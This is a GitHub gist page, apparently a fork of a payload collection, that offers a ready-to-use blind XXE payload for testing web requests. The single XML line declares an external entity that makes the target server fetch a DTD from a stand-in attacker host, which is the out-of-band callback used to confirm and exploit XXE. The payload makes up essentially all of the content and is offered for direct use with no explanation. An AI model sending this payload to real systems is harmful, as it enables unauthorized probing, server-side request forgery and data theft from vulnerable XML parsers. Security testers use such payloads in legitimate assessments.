Skip to content

Instantly share code, notes, and snippets.

@Dlat
Forked from mgeeky/blind-xxe-payload-1.txt
Created August 20, 2018 20:11
Show Gist options
  • Save Dlat/f1be915cbc8f6a5f23322a68f3c82b72 to your computer and use it in GitHub Desktop.
Save Dlat/f1be915cbc8f6a5f23322a68f3c82b72 to your computer and use it in GitHub Desktop.
Simplest Blind XXE Payload to test within HTML request
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxetestd [<!ENTITY xxetest SYSTEM "http://attacker/test.dtd">]><foo>&xxetest;</foo>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment